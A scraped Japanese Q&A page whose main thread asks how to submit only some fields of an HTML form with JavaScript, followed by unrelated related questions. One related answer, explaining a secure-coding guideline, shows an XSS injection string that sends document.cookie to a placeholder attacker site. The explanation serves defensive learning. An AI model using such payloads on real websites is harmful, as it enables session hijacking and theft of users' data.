突然ですがアドバイスをお願いいたします。

<SCRIPT LANGUAGE="JavaScript">
<!--
function aSubmit(){
document.Form1.action='xxxxx';
document.Form1.aaaaa.submit();
}
-->
</SCRIPT>

これで“Form1”内のNAMEが“aaaaa”とついた
フォームの値を送信できますよね、
ここで質問なのですが、
例えばNAMEが“aaaaa”のフォームの他に
NAMEが“bbbbb”というフォームがあったとして、
“aaaaa”と“bbbbb”の値を同時に送信したいときには、

<SCRIPT LANGUAGE="JavaScript">
<!--
function aSubmit(){
document.Form1.action='xxxxx';
document.Form1.('aaaaa,bbbbb').submit();
}
-->
</SCRIPT>

とこんな書き方でも大丈夫なのでしょうか?

このQ&Aに関連する最新のQ&A

A 回答 (3件)

No.2の方が書いていらっしゃるDISABLEDプロパティの方は、HTML4.01の仕様的にも、満足なFORM部品として扱わないとされていますので、送信されることはないでしょう。

(試していないので、IEの実装ミスで送信されてしまうかもしれませんが。)

これに対応していないNetscape4.xに関してですが、taint()メソッドはよく存じませんけど、なんとなく、

Description
Tainting prevents other scripts from passing information that should be secure and private, such as directory structures or user session history. JavaScript cannot pass tainted values on to any server without the end user's permission.

を読む限りでは、「ユーザの許可なくして送信できない」→許可すれば送信される
で、なにか違うように思えるんですよね。


現状で現実的なのは、やっぱりhiddenばかりの送信用Form要素を作っておいて、送信するときは、表示用のFormの中の送信したい名前・値のセットをそっちにコピーしてそれをsubmitする、って方法なのかな?
    • good
    • 0
この回答へのお礼

回答ありがとうございます。

>現状で現実的なのは、やっぱりhiddenばかりの送信用Form要素を作っておいて…

やっぱりそれが無難でしょうか。
その方法なら何とか出来そうです。
ちょっと複雑ですけど確実ですよね。

お礼日時:2001/10/09 18:33

ネットスケープならばデータテイント機能を使って、データの送受信を制御できます。



フォーム内にある特定のエレメントを送信したくない時は
untaint(document.フォーム名.フィールド名);
送信可能にする時は
taint(document.フォーム名.フィールド名);

とJavScript内で記述すればOKだと思います。
以上はネットスケープのみの記述方法です。

IEはDISABLEDプロパティを操作することで、同じ制御をすることができるので、
JavaScriptはクロスブラウザな書き方をしないといけないと思います。

でも、データテイント機能はそのままじゃ使えないかもなぁ~
    • good
    • 0
この回答へのお礼

回答ありがとうございます。

>JavaScriptはクロスブラウザな書き方をしないといけないと思います。

はい。ほんとですね。
私もできればクロスブラウザで行ってみたいと思っています。

お礼日時:2001/10/09 18:30

>これで“Form1”内のNAMEが“aaaaa”とついたフォームの値を送信できますよね、


できますか??
Form1って、フォームオブジェクトですよね?
submit()はフォームオブジェクトに対しておこなわれますから、
>document.Form1.aaaaa.submit();
という書き方はおかしくないですか?
document.Form1.submit();
と書くべきでしょう。
ですから、そもそも
>document.Form1.('aaaaa,bbbbb').submit();
という書き方が可か、不可か、という以前の問題だと思いますが。

もし、aaaaaやbbbbbもForm1と同列のフォームオブジェクトであるという前提ならば
 →フォームは階層構造にできませんので、Form1の中にaaaaaなどというフォームは入れられません

もし、aaaaaやbbbbbは、フォーム(Form1)に内包される要素だという前提ならば
 →From1.submit()をした時点で、Form1に内包されるすべてのForm要素が送信されるので、「“aaaaa”と“bbbbb”の値を同時に送信したいときには」という疑問は不要です。常に同時に送信されます。

この回答への補足

sightさん、いつもお世話になっております。
一ヶ月ほど前にも同じ様な愚問に
回答していただいた者です。
前回のはおかげさまで何とかクリアできました。

そしてまた愚問!
ほんと勉強が全然進展してません…。

補足日時:2001/10/09 15:55
    • good
    • 0
この回答へのお礼

sightさん回答ありがとうございます。
だめですか…。結構自信あったんですけど…。

>常に同時に送信されます。

はい。そうなんですけど、どうしてもたくさんある
フォームの全部の値を送信するのではなく、
送りたいものだけ送信しようと試みたのです。
もう一度見直してみたいとおもいます。
ありがとうございました!

お礼日時:2001/10/09 15:48

このQ&Aに関連する人気のQ&A

お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう!

このQ&Aを見た人が検索しているワード

このQ&Aと関連する良く見られている質問

Q質問&回答の書き方

次の質問の書き方でどちらの方が読みやすいでしょうか?ご回答の程ヨロシクお願いします(o__)o))ペコ

書き方1
この質問を見た方に質問があります。この書き方は見やすいでしょうか?これは、単に改行をあまりせずに文字を羅列させていく書き方です。まぁ、文の内容が変わる時は改行しますがね(^^;)
この書き方はどう思いますか?


書き方2
この質問を見た方に質問があります。
この書き方は見やすいでしょうか?
これは、一文が終わるごとに改行するやり方です。
文が長くなる時には
こうやって適当なところで改行します。

因みに、文の内容が変わる時は
このように一行空けます

この書き方はどう思いますか?

Aベストアンサー

この長さではどちらでも。
長文の場合はどちらかといえば2。

私は、長文になりがちなのですがなるべく句点(。)で改行するようにしています。
質問文でありがちな、改行なしビッチリ長文はエディタにコピペして自分で改行を入れて読んでいます。

文の内容が変わるときは空行があると読みやすいです。
空行を入れた上で■などの記号を入れたり、箇条書きにするときもあります。

Q 要素の内

▽安全なウェブサイトの作り方
  http://www.ipa.go.jp/security/vuln/documents/website_security.pdf

><script>...</script> 要素の内容を動的に生成しない
>ウェブページに出力する<script>...</script>要素の内容が、外部からの入力に依存する形で動的に生成される場合、任意のスクリプトが埋め込まれてしまう可能性があります

・P25で上記のように書かれているのですが、理解できません(何故ここだけ動的生成してはいけないのか等)
・具体的にどのようにして埋め込まれる恐れがあるのでしょうか?
・またここで書いている内容は、下記何れを指しているのでしょうか?
・ココカラ<script>...</script>ココマデ
・<script>ココカラ...ココマデ</script>

Aベストアンサー

攻撃の容易性でしょう。

この脆弱性を付く攻撃をする際に一番苦労するのが <script> をどうやって埋め込むかです。これは入力内容のエスケープ処理で大体は塞がれてしまうのですが、<script> 要素内に直接埋めこめられるならその問題が無いので、かなり攻撃しやすいサイトとなります。

埋め込み方法ですが、以下の様な生成をするサイトの場合なら

入力内容: 太郎
出力内容: <script>alert('こんにちは太郎さん')</script>

そのサイト内で使用している cookie 内容を盗聴するために、以下のように攻撃できます。

入力内容: ');window.location='http://攻撃サイト/'+document.cookie;a=('
出力内容: <script>alert('こんにちは');window.location='http://攻撃サイト/'+document.cookie;a=('さん')</script>

引用符のエスケープ処理で塞がれるかもしれませんが、それでも対処できる余地はあります。

Q数字の書き方

数字の書き方(1・4・5・6・7)について質問します。
添付した紙の左側に書いてある数字は、印刷物で見かける数字です。
添付した紙の右側に書いてある数字は、私が普段書く数字の書き方です。

印刷物で見かける数字と私が普段書く数字の書き方では、形がちょっと違います。書類に数字を書く時、
私が普段書く数字の書き方で書いた方がよいですか?

私が普段書く数字の書き方(1・4・5・6・7)は、正しく書けてますか?

細かい質問になりますが、宜しくお願いします。



                

Aベストアンサー

数字は実用的な目的で書かれると仮定します。つまり芸術ではなく、美を追求するものではないとします。そうすると誤解のない字であることが最大の条件になります。そのほかに早くかけるとか、親しめる文字であるとか、いくつかの付帯的な問題はありますが、この際それは無視しましょう。
 そういう条件で見ると質問者の数字は誤解される恐れはなく、「正しくかけている」といえます。
 書類に数字を書く時、
>私が普段書く数字の書き方で書いた方がよいですか?
これは何を聞きたいのか、わかりません。
 もっと左の字に似せたほうがよいかという質問ですか。それなら、その必要はないといえます。
 それとも個性の感じられる字の方が良いかということですか。別に取り立てて特徴があるとも見えないので、その場合もノーです。

Q

人気Q&Aランキング

おすすめ情報